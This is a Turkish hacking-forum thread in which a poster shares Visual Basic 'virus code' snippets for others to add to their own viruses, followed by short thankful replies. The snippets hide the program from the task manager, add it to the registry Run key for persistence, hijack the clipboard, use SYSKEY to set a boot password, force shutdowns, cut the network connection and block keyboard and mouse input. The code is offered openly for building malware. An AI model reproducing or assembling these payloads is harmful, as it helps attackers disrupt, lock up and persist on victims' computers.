THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

takipci
Seçenekler

Visual Basic Virüs Kod Arşivi.

360
360 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2011
Mesajlar:
118
Konular:
45
Teşekkür (Etti):
2
Teşekkür (Aldı):
20
Ticaret:
(0) %
7
6535
14-04-2011 20:32
#1
Merhaba Arkadaşlar,
Bir Virus Yaptığınızda Ekleye Bilceğiniz Bir Kaç Virus Kodu Paylaşcam. Belki Bir Kaçı Daha Önce Forumda Verilmiş Ola Bilir Yanlız Sizler'de Daha Önce Bu Konu Başlığı Altında Paylaşılmamış Virus Kodları Varsa Paylaşırsanız Bu Tür İşlerle Uhraşan Arkadaşlar İçin İyi Bi Konu Olur.
----------------------------
Bu kod clipboard a turkhackteam.net kelimesini ekliyo ve copy/paste işleminde hep turkhackteam.net yazmasını sağlıyor.

Kod:
Private Sub Timer1_Timer()
Clipboard.Clear
Clipboard.SetText "turkhackteam.net"
End Sub

----------------------------
Formun açılmaması ve görev yöneticisinde gözükmemesi için.

Kod:
me.hide
app.taskvisible=false

----------------------------
Programı XP başlangıcına eklemek.

Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

----------------------------
Başlat yazısını değiştirir.

Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const WM_SETTEXT = &HC
Dim yazi As String
Private Sub Form_Load()
yazi = "turkhackteam"
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer()
Dim tWnd As Long, bWnd As Long
tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)
SendMessage bWnd, WM_SETTEXT, &O0, yazi
End Sub

----------------------------
windows başlamadan önce okunması için pencere açar

Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "turkhackteam"
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub

----------------------------
cdrom açma ve kapama işlemini yapar

Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub
Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub

----------------------------
XP Başlangıcına Parola Koyar Test Edenler Şifrenin "turkhackteam" olduğunu unutmasın.

Kod:
Private Sub Form_Load()
App.TaskVisible = False
Form1.Visible = False
Shell "SYSKEY.EXE", vbNormalFocus
SendKeys "G", 1
SendKeys "B", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{TAB}", 1
SendKeys "turkhackteam", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
SendKeys "{ENTER}", 1
End
End Sub

----------------------------

Kod:
Shell "shutdown -s -t 20" , Bilgisayarı kapatır.

Shell "shutdown -r -t 20" , Bilgisayarı yeniden başlatır.

Shell "shutdown -l -t 20" , Oturumu kapatır.

Shell "shutdown -f" , Çalışan uygulamaları uyarmadan kapanmaya zorlar.
----------------------------
Sürekli Beep Sesi Çıkarır

Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub
Private Sub Timer1_Timer()
Beep
End

----------------------------
Yazıcıdan Çıktı Almaya Yarar.

Kod:
Private Sub Form_Load()
Printer.Print "Yazıcıdan Çıktı Almak İstediğiniz Kelimeyi Buraya Yazın"
End Sub

----------------------------
Kod:
Shell "ipconfig /release" , İnterneti Keser.

Shell "ipconfig /renew" , İnternete Tekrar Bağlanır.

----------------------------
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
----------------------------

Orbitx, Berkhan07, KolsuzBerkay Teşekkür etti.
marsel221 - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
08/2010
Nereden:
Hatay
Mesajlar:
331
Konular:
27
Teşekkür (Etti):
52
Teşekkür (Aldı):
43
Ticaret:
(0) %
16-04-2011 12:59
#2
emeğine sağlık kardeşim
bysivasqarizm4 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
02/2011
Mesajlar:
75
Konular:
16
Teşekkür (Etti):
3
Teşekkür (Aldı):
13
Ticaret:
(0) %
20-04-2011 01:07
#3
360 kardes su vbyı bıraz ogretebılırmısn bana bılıyorm ogrenmesı uzun surcek ama kımse anasının karnından yazılımcı yada hacker cıkmadıxD EMEGE SAYGI
Berkhan07 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
09/2009
Mesajlar:
196
Konular:
24
Teşekkür (Etti):
33
Teşekkür (Aldı):
12
Ticaret:
(0) %
20-04-2011 13:26
#4
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
--------------------------------------------

Kendimizde test etsek xD nasıl geri getireceğiz fare ve klavyeyi xD
ByShawak - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
05/2010
Mesajlar:
74
Konular:
12
Teşekkür (Etti):
9
Teşekkür (Aldı):
18
Ticaret:
(0) %
23-04-2011 16:12
#5
Res at
ByShawak - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
05/2010
Mesajlar:
74
Konular:
12
Teşekkür (Etti):
9
Teşekkür (Aldı):
18
Ticaret:
(0) %
23-04-2011 16:12
#6
Alıntı:
Berkhan07´isimli üyeden Alıntı Mesajı göster
Klavye Ve Fare'yi Etkisiz Hale Getirir.

Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Sub Form_Load()
BlockInput True
End Sub
--------------------------------------------

Kendimizde test etsek xD nasıl geri getireceğiz fare ve klavyeyi xD

Reset atcaksın XD
blueghost09 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
06/2011
Nereden:
Kimsenin Gelmek İstemeyeceği Bir Yer...
Mesajlar:
138
Konular:
5
Teşekkür (Etti):
15
Teşekkür (Aldı):
10
Ticaret:
(0) %
14-06-2011 22:32
#7
sağol dostum isime yarıyacak
--------------------- NE Baktın QarDaŞŞ
ardae17 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
01/2020
Mesajlar:
1
Konular:
0
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Ticaret:
(0) %
02-01-2020 17:57
#8
Nasıl User32 den arka planı değiştiririz gizlice ama söylersen sevinirim (visula basic dili olursa sevinirim)mahcup

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler